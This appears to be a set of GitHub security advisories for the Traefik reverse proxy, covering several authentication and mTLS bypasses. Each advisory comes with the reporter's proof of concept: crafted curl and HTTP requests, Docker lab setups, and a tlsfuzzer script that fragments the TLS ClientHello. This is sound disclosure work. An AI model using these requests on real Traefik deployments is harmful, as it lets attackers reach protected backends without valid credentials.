Summary

StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.

### Details

pkg/middlewares/stripprefixregex/stripprefixregex.go, line 62:

go req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])

prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is present.

Example with regex ^/api:

- GET /api%20/admin/secret - Decoded Path: /api /admin/secret -> prefix = /api (4 bytes) - Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes - RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/ -> allows it - Backend serves the protected admin content

PoC

Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses auth, 200, returns protected data). Can share the files here if useful.

Impact

Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a percent-encoded character to the prefix portion of the URL.

---

Updated PoC (reporter follow-up)

After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.

Chain:

GET /api%2e/admin/secret -> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret -> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows -> Express normalizes /./admin/secret -> /admin/secret -> serves protected content

Results (Traefik v3.6, unmodified Express.js express.static):

GET /api/admin/secret -> 403 (blocked) GET /api%2e/admin/secret -> 200 (bypass — served protected content) GET /api%20/admin/secret -> 404 (space not normalized by backend)

Auth server logs:

X-Forwarded-Uri: '/admin/secret' -> DENIED X-Forwarded-Uri: '/./admin/secret' -> ALLOWED

Reproduction:

bash docker compose up -d --build --wait curl http://localhost:8080/api/admin/secret # -> 403 curl --path-as-is "http://localhost:8080/api%2e/admin/secret" # -> 200

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity authentication bypass vulnerability in Traefik's ForwardAuth and snippet-based authentication middleware. Traefik's forwarded-header sanitization logic targets only canonical header names (e.g., X-Forwarded-Proto) and does not strip or normalize alias variants that use underscores instead of dashes (e.g., XForwardedProto). These unsanitized alias headers are forwarded intact to the authentication backend. When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary An authentication bypass arises from chaining two bugs: incomplete forwarded-header sanitization at ingress and overly permissive header forwarding in pre-auth subrequests. While canonical X-Forwarded- headers are handled, alias variants (e.g., underscore forms) are neither normalized nor stripped consistently. When downstream auth services normalize these headers, attackers can inject trusted context and bypass authentication on protected routes without credentials.

Details This issue results from the interaction between forwarded-header handling and auth subrequest construction, creating a trust boundary mismatch.

At ingress, Traefik defines a fixed set of canonical forwarded headers (X-Forwarded-Proto, X-Forwarded-For, etc.):

Reference : pkg/middlewares/forwardedheaders/forwardedheader.go#L29-L36

go var xHeaders = []string{ xForwardedProto, xForwardedFor, xForwardedHost, xForwardedPort,

This logic focuses exclusively on canonical header names and does not account for alias forms such as XForwardedProto. As a result, while standard headers may be sanitized or rewritten, semantically equivalent variants can pass through unchanged.

During ForwardAuth processing, request headers are copied wholesale into the auth subrequest:

Reference : pkg/middlewares/auth/forward.go#L401-L408

go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)

This implementation forwards nearly all client-supplied headers to the auth backend, with filtering limited to hop-by-hop headers. There is no normalization or deduplication between canonical and alias header forms, meaning attacker-controlled headers can reach the auth service intact.

A similar pattern exists in snippet-based auth:

Reference : pkg/middlewares/ingressnginx/snippet/snippet.go#L574-L581

go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)

Again, headers are forwarded without enforcing a consistent trust model or canonicalization.

The vulnerability emerges when the auth backend normalizes header names (e.g., treating XForwardedProto and X-Forwarded-Proto equivalently). In that case:

- Traefik sanitizes only canonical headers. - Alias headers remain attacker-controlled. - The auth service merges or evaluates these aliases during normalization. - Trust predicates (e.g., scheme = HTTPS, trusted host) are satisfied using spoofed values.

This allows a single crafted request to simultaneously bypass ingress trust enforcement and satisfy authentication checks, resulting in unauthorized access to protected backends.

PoC

1. Configure a protected route using ForwardAuth or snippet-based auth, with an auth backend that normalizes header names (underscore ↔ dash). 2. Send a control request (expected: denied):

http GET / HTTP/1.1 Host: target.local User-Agent: poc-control Connection: close

3. Send an exploit request with alias headers (expected: allowed):

http GET /protected HTTP/1.1 Host: app.example.local XForwardedProto: https XForwardedHost: trusted.example Connection: close

Impact This vulnerability allows unauthenticated attackers to bypass authentication at the proxy-to-auth boundary by injecting spoofed trust context through header aliases. In deployments where authorization decisions depend on forwarded headers, attackers can access protected endpoints and interact with backend services as if they were fully authenticated. This effectively undermines ForwardAuth and similar mechanisms, potentially exposing sensitive internal functionality and data.

Suggested Remediation 1. Strip and regenerate both canonical and alias forms of forwarded headers consistently at ingress and during auth subrequests. 2. Apply a unified normalization policy across all forwarded header families (including RFC7239 and X-Forwarded-). 3. Restrict which headers are forwarded to auth services (prefer explicit allowlists). 4. Add regression tests covering alias normalization inconsistencies across common backend frameworks.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.

While X-Forwarded- headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.

When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.

This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.

Details The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.

In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:

go func writeHeader(req, forwardReq http.Request, trustForwardHeader bool, allowedHeaders []string) { utils.CopyHeaders(forwardReq.Header, req.Header) ... forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)

It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:

- X-Forwarded-For - X-Forwarded-Method - X-Forwarded-Proto - X-Forwarded-Port - X-Forwarded-Host - X-Forwarded-Uri

However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.

This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/stripprefix.go, Traefik appends the stripped prefix using Header.Add:

go func (s stripPrefix) serveRequest(rw http.ResponseWriter, req http.Request, prefix string) { req.Header.Add(ForwardedPrefixHeader, prefix)

If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:

1. /admin (attacker-controlled) 2. /forbidden (Traefik-generated)

An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.

Why this appears unintended:

- The docs say trustForwardHeader means "Trust all X-Forwarded- headers" and defaults to false. - The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded- headers and removed from untrusted sources. - The direct-to-Traefik test case behaves consistently with that expectation and returns 403. - Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.

Relevant source/documentation locations:

- pkg/middlewares/auth/forward.go lines 393-459 - pkg/middlewares/stripprefix/stripprefix.go lines 65-68 - pkg/middlewares/forwardedheaders/forwardedheader.go lines 15-43 - docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140 - docs/content/migrate/v3.md lines 192-196

This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.

PoC The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.

1. Create traefik.toml:

toml [entryPoints] [entryPoints.web] address = ":80" [entryPoints.web.forwardedHeaders] trustedIPs = ["172.31.79.0/24"]

[providers] [providers.file] filename = "/etc/traefik/dynamic.toml" watch = false

[log] level = "DEBUG"

[accessLog]

2. Create dynamic.toml:

toml [http.routers] [http.routers.app] entryPoints = ["web"] rule = "Host(app.local) && PathPrefix(/forbidden)" middlewares = ["strip-forbidden", "authz"] service = "backend"

[http.middlewares] [http.middlewares.strip-forbidden.stripPrefix] prefixes = ["/forbidden"]

[http.middlewares.authz.forwardAuth] address = "http://auth:8000/check" trustForwardHeader = false authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]

[http.services] [http.services.backend.loadBalancer] [[http.services.backend.loadBalancer.servers]] url = "http://backend:80"

3. Create auth.py:

python import json from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): if not self.path.startswith("/check"): self.sendresponse(404) self.endheaders() return

prefixes = self.headers.getall("X-Forwarded-Prefix") or [] first = prefixes[0] if prefixes else "" payload = { "path": self.path, "firstprefix": first, "allprefixes": prefixes, "xforwardedfor": self.headers.getall("X-Forwarded-For") or [], } print(json.dumps(payload), flush=True)

if first == "/admin": self.sendresponse(200) self.sendheader("X-Auth-First-Prefix", first) self.sendheader("X-Auth-All-Prefixes", "|".join(prefixes)) self.endheaders() self.wfile.write(b"authorized\n") return

self.sendresponse(403) self.sendheader("Content-Type", "application/json") self.endheaders() self.wfile.write(json.dumps(payload).encode() + b"\n")

HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

4. Create frontend.conf:

nginx server { listen 80; accesslog /dev/stdout;

location / { proxyhttpversion 1.1; proxypass http://traefik:80; proxysetheader Host $httphost; proxysetheader X-Forwarded-For $proxyaddxforwardedfor; } }

5. Start the containers:

bash docker network create --subnet 172.31.79.0/24 traefik-readme-net

docker run -d --name traefik-readme-backend \ --network traefik-readme-net \ --network-alias backend \ traefik/whoami

docker run -d --name traefik-readme-auth \ --network traefik-readme-net \ --network-alias auth \ -v "$PWD/auth.py:/app/auth.py:ro" \ -w /app \ python:3.12-alpine \ python /app/auth.py

docker run -d --name traefik-readme-traefik \ --network traefik-readme-net \ --network-alias traefik \ -p 18081:80 \ -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \ -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \ traefik:v3.6.12

docker run -d --name traefik-readme-frontend \ --network traefik-readme-net \ -p 18080:80 \ -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \ nginx:alpine

6. Send three requests:

Direct to Traefik, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18081/forbidden/test

Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}

Through trusted proxy, no spoofing: bash curl -sS -i \ -H 'Host: app.local' \ http://127.0.0.1:18080/forbidden/test

Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}

Through trusted proxy, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18080/forbidden/test

Observed result: http HTTP/1.1 200 OK ... X-Auth-All-Prefixes: /admin|/forbidden X-Auth-First-Prefix: /admin X-Forwarded-Prefix: /admin X-Forwarded-Prefix: /forbidden

The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.

7. Optional log confirmation from the auth service:

bash docker logs traefik-readme-auth

Observed log sequence: json {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/admin", "allprefixes": ["/admin", "/forbidden"], ...}

8. Cleanup:

bash docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend docker network rm traefik-readme-net

Impact This is an authentication bypass / trust-boundary bypass.

Affected deployments are those that:

- run Traefik behind a trusted upstream proxy - use ForwardAuth - rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers - pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty - make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.

</details>

----

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.

An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.

Patches

- <https://github.com/traefik/traefik/releases/tag/v2.11.42> - <https://github.com/traefik/traefik/releases/tag/v3.6.12> - <https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3>

For more information

If there are any questions or comments about this advisory, please open an issue.

---

<details> <summary>Original Description</summary>

Summary

When headerField is configured with a non-canonical HTTP header name (e.g., x-auth-user instead of X-Auth-User), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write.

Tested on Traefik v3.6.10.

Details

At pkg/middlewares/auth/basicauth.go:92, the authenticated username is written using direct map assignment:

go req.Header[b.headerField] = []string{user}

Go's http.Header map is keyed by canonical names (e.g., X-Auth-User). Direct assignment with a non-canonical key (x-auth-user) creates a separate map entry from any canonical-key entry already present. The attacker's X-Auth-User: superadmin occupies the canonical slot and is never overwritten by Traefik's non-canonical write.

The same bug exists in pkg/middlewares/auth/digestauth.go:100. Notably, forward.go:254 correctly uses http.CanonicalHeaderKey(), showing the fix pattern already exists in the codebase.

PoC

Traefik config (YAML, Docker labels, or REST API):

yaml middlewares: auth: basicAuth: users: ["admin:$2y$05$..."] headerField: "x-auth-user"

Normal request (baseline):

bash curl -u admin:admin http://traefik/secure/test Backend receives: x-auth-user: admin Identity = admin ✓

Attack request:

bash curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test Backend receives BOTH headers: X-Auth-User: superadmin ← attacker-injected (canonical key, read first by most frameworks) x-auth-user: admin ← Traefik-set (non-canonical, ignored by most frameworks) Identity seen by backend = superadmin ✗

Control test — when headerField uses canonical casing (X-Auth-User), the attack fails. Traefik's write correctly overwrites the attacker's header.

This is realistic because YAML conventions favor lowercase keys, Traefik docs don't warn about canonicalization, and the pattern of backends trusting the headerField header is recommended in Traefik's own documentation.

Fix suggestion:

go // basicauth.go:92 and digestauth.go:100 — change: req.Header[b.headerField] = []string{user} // to: req.Header.Set(b.headerField, user)

Also strip any incoming headerField header before the auth check with req.Header.Del(b.headerField).

Impact

An authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the headerField header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation — e.g., a regular user impersonating an admin.

The attack requires the operator to configure headerField with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
EPSS
0.05%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.

When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.

If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).

Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.

1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected.

Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello).

A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).

A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).

PoC python prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" in debian/ubuntu run newgrp docker to apply the new group to the user

mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc

CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt

Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOFSERVERCNF' [req] distinguishedname = dn reqextensions = v3req prompt = no

[dn] CN = whoami.home.arpa

[v3req] subjectAltName = @altnames

[altnames] DNS.1 = whoami.home.arpa EOFSERVERCNF

openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3req -extfile certs/server.cnf

Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256

cat > config/traefik.yml <<'EOFTRAEFIKCFG' entryPoints: websecure: address: ":8443"

providers: file: directory: /etc/traefik/dynamic watch: true

log: level: DEBUG EOFTRAEFIKCFG

cat > config/dynamic/dynamic.yml <<'EOFDYNAMICCFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls

services: whoami: loadBalancer: servers: - url: "http://whoami:80"

tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOFDYNAMICCFG

docker network create traefik-poc

run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0

docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml

watch traefik logs to ensure everything was deployed correctly docker logs traefik

tlsfuzzer setup + frag client script

mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer

python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt

cat > fragclienthello.py <<'EOFFRAGSCRIPT' import argparse import sys import os

from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIGALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain

class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, , body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n")

def loadclientcertandkey(certpath, keypath): cert = None key = None

if certpath: textcert = open(certpath, "rb").read() if sys.versioninfo[0] >= 3: textcert = str(textcert, "utf-8") cert = X509() cert.parse(textcert)

if keypath: textkey = open(keypath, "rb").read() if sys.versioninfo[0] >= 3: textkey = str(textkey, "utf-8") key = parsePEMKey(textkey, private=True)

return cert, key

def main(): p = argparse.ArgumentParser() p.addargument("--connect-host", default="127.0.0.1") p.addargument("--port", type=int, default=8443) p.addargument("--sni", default="whoami.home.arpa") p.addargument("--record-size", type=int, default=512) p.addargument("--padding-len", type=int, default=1200) p.addargument("--expect-cert-request", action="storetrue") p.addargument("--client-cert-pem", default="") p.addargument("--client-key-pem", default="") args = p.parseargs()

cert, key = loadclientcertandkey(args.clientcertpem, args.clientkeypem)

print(f"[DBG] certarg={args.clientcertpem!r} keyarg={args.clientkeypem!r}") for p in [args.clientcertpem, args.clientkeypem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")

print(f"[DBG] certloaded={cert is not None} keyloaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")

if (args.clientcertpem or args.clientkeypem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem")

conv = Connect(args.connecthost, args.port) node = conv node = node.addchild(SetMaxRecordSize(args.recordsize))

ext = { ExtensionType.servername: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supportedgroups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signaturealgorithms: SignatureAlgorithmsExtension().create(SIGALL), ExtensionType.signaturealgorithmscert: SignatureAlgorithmsCertExtension().create(SIGALL), 21: TLSExtension().create(21, bytearray(args.paddinglen)), }

ciphers = [ CipherSuite.TLSECDHERSAWITHAES128GCMSHA256, CipherSuite.TLSECDHERSAWITHAES128CBCSHA, CipherSuite.TLSDHERSAWITHAES128CBCSHA, CipherSuite.TLSEMPTYRENEGOTIATIONINFOSCSV, ]

node = node.addchild(ClientHelloGenerator(ciphers, extensions=ext)) node = node.addchild(ExpectServerHello()) node = node.addchild(ExpectCertificate()) node = node.addchild(ExpectServerKeyExchange())

if args.expectcertrequest: node = node.addchild(ExpectCertificateRequest())

node = node.addchild(ExpectServerHelloDone())

if args.expectcertrequest and cert and key: node = node.addchild(CertificateGenerator(X509CertChain([cert]))) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(CertificateVerifyGenerator(key)) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

elif args.expectcertrequest and not (cert and key): node = node.addchild(CertificateGenerator()) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished())

else: node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise

if name == "main": main() EOFFRAGSCRIPT

chmod +x fragclienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate

case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request

case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls12 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verifyreturnerror

case 2: non fragmented, with valid client cert (should succeed) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key

case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls12 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet

